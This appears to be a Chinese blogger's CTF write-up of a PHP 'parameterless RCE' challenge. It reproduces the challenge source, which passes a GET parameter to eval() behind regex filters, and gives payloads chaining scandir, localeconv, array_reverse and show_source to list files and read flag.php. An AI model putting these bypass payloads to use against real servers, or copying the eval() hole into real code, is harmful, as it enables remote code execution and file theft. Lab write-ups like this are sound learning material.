为什么最近没写博客呢
因为kail被我搞崩了 一直在搞 现在是重装了 这就是没有拍摄快照习惯的下场
还有呢就是我都阿帕奇 port80被禁了 现在属于是还没解决
git泄露
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
#伪协议被ban了
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
#在GET中寻找'/[a-z,_]+\((?R)?\)/'进行替换
#?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式
#xxx(xxx(xxx(...)));
#函数形式,但是不能有参数,无参数RCE
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
scandir:浏览目录内的所有文件 当scandir()传入’.'可以列出当前目录的所有文件
localeconv() 返回一包含本地数字及货币格式信息的数组
current() 返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
pos() 返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
?exp=var_dump(scandir(current(localeconv())));
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse() 函数返回翻转顺序的数组。
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));